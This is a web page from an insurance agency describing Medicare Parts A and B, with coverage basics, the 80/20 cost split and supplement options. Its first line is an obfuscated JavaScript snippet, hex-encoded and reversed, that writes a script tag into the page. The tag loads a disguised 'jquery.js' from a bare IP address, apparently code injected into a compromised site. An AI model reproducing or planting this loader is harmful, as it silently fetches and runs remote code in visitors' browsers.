var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])) Part A & Part B - CJB Insurance Services, Inc. - 510.342.2670CJB Insurance Services, Inc. – 510.342.2670

Part A & Part B

OverviewPart A & B | Supplement | Part C | Part D | Resources

Medicare Part A and Part B

Medicare, Parts A and B (sometimes known as “Original Medicare”), is run by the federal government. With Medicare Parts A and B, the government pays fees for your health care directly to the doctors and hospitals you visit.

  • Helps cover hospital stays, preventive care, doctor visits and other medical services.
  • Run by the federal government.
  • Can be paired with a Medicare Supplement Insurance plan to help pay your share of costs.
  • Can be paired with a stand-alone prescription drug plan (Medicare Part D), to help pay for medications.  Penalties apply for late enrollment.

With Parts A & B, Medicare covers 80% of the costs for your health care costs, after the deductibles have been met.  The outstanding 20% (more if your doctor charges more) is covered by you.  For this reason, most people opt for purchasing a Medicare Supplement Plan where, in most cases, their costs will be $0.  Some people who are not concerned about limited selection of providers prefer to purchase a MedicareAdvantage plan which puts all their medical services under 1 umbrella.  Some of these MedicareAdvantage plans include prescriptions and other do not, so you may need a purchase a separate Prescription Drug Plan (PDP).